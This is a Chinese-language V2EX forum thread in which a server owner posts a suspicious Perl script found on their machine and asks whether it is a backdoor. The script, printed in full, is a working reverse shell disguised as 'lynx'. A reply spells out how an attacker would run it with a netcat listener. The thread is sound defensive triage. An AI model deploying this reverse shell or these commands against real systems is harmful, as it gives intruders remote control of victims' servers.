服务器是不是被植入后门了? Linux 大神帮忙分析下

2017-06-12 17:05:17 +08:00
 shmilyin
cat envl_bc

#!/use/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname-a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDIN);
close(STDIN);
4738 次点击
所在节点    Linux
19 条回复
ender049
2017-06-12 17:25:02 +08:00
这个是个后门
xss
2017-06-12 17:25:52 +08:00
后门+1
v3exad
2017-06-12 17:27:26 +08:00
bc = backconnect
40huo
2017-06-12 17:30:59 +08:00
反弹了 shell 吧
winsyka
2017-06-12 17:36:31 +08:00
reverse shell...
aprikyblue
2017-06-12 17:42:47 +08:00
可以来个蜜罐走一波
meepo3927
2017-06-12 17:43:06 +08:00
运行这段代码能干啥
vus520
2017-06-12 17:58:28 +08:00
这是攻击的肉机吧
xustrive
2017-06-12 18:01:15 +08:00
我表示没看懂,有大神给讲解讲解吗、
fucker
2017-06-12 18:44:09 +08:00
@xustrive
这个 perl 脚本接受两个参数,一个是监听服务器的 ip,一个是端口,这段代码就是把 sh shell 反弹到刚才所说的监听服务器上。那个监听服务器一般是用 netcat 做端口监听,接收 socket,命令一般是 `nc -lvp [port]`
假设黑客的监听端口是 2333, 服务器 IP 是 1.2.3.4, 那么黑客会在 1.2.3.4 这台服务器上运行 `nc -lvp 2333`
然后在楼主的服务器上运行 `perl envl_bc 1.2.3.4 2333`
如果网络顺畅的话,黑客就可以直接在他的服务器( 1.2.3.4 )直接控制楼主服务器的某个权限的 shell 了
多年前,大多数情况是服务器 web 服务存在漏洞,黑客利用这样的 shell 反弹技术运行 localroot(本地提权)程序 /脚本。
所以建议楼主查一下 web 服务(或不限于 web 服务)是否存在漏洞。
估计 web 目录已经躺着好几个 webshell 了。
pq
2017-06-12 18:48:47 +08:00
我有点困惑,既然是后门,为嘛要用明码脚本来写呢?就算不会用 c/c++,用 python 编译搞一下,也比直接 perl 脚本让人一看就觉得蹊跷要好呀。。。。
shmilyin
2017-06-12 19:33:11 +08:00
感谢楼上各位分析,我看着像,不确定所以来问问
nicevar
2017-06-12 19:42:42 +08:00
@pq 因为这是开个端口临时用的,会放更隐蔽的
楼主要查一下文件时间变动,看一下 log 操作记录,现在的服务器开任何端口给 外网操作都挺危险的,ssh/mysql 这些暴力破解的自动化程序满天飞
fucker
2017-06-12 19:54:42 +08:00
@pq
1.老旧的 linux/unix 服务器通常自带 perl,尤其是 unix (尤其在日本,日本很多老旧站点都是 perl cgi 开发的)。
2.perl 和其他多数语言一样,分号结尾,所有代码可以写在一行(显然这次是个例外),这样有个好处,就是在遇到命令执行漏洞的时候,非常管用,而 Python 做不到。
3.许多(老旧的包括现在,尤其是老旧的)服务器在生产环境下是不存在 c/cpp 编译环境的,但是国内很多 linux 服务器却都拥有编译环境。(编译环境对于本地提权来说是非常必要的,当然交叉编译 /自建环境编译除外,这些都很容易出错)
4.如 13 楼所说,临时用的,一般这种脚本在执行之后,都会立即进行提权,然后植入 rootkit,那些才是真正的后门,隐蔽性极高,没有取证 /渗透经验的人,通常是找不到的。这一次显然是由于黑客疏忽 /权限问题没有清除。
fucker
2017-06-12 19:59:03 +08:00
@pq 再补一条,这个反弹 shell 的脚本其实并不具备后门的特征,也不会给取证带来什么方便,简而言之,就是用这样的动态语言写的脚本其实并不会暴露黑客的信息,当然,在建立连接的时候,[可能]会在 history 里面留下黑客服务器的 IP 地址,网关那里也可能会有,但是这些代码并不会直接暴露黑客的信息,所以这代码是否源码可见对他来说都是安全的。
hellove1985
2017-06-13 10:04:55 +08:00
@fucker
Python 也是可以放在一行来玩的

```
python -c 'print 123;print 456; print 789'
```
xustrive
2017-06-13 10:18:19 +08:00
@fucker 若服务器前端有硬件防火墙 以及开启软防火墙不是也没有效果的吧。
你讲的那些似乎我没有从脚本中看出来有那些命令(可能是水平还是很菜。23333 )
fucker
2017-06-13 12:22:15 +08:00
@hellove1985 我前面描述有误,感谢指正。python 的确可以一行代码,比如一些 web 服务器和模板的命令执行漏洞( flask+jinja2 )都是一行 Python 做到的。
fucker
2017-06-13 12:24:44 +08:00
@xustrive 无论软 /硬防我个人觉得(可能有误)要看入站 /出站规则吧,另外它里面的日志可以用来取证。
你说一下我讲的哪一段你没有看出来,我再解释解释。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/367873

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX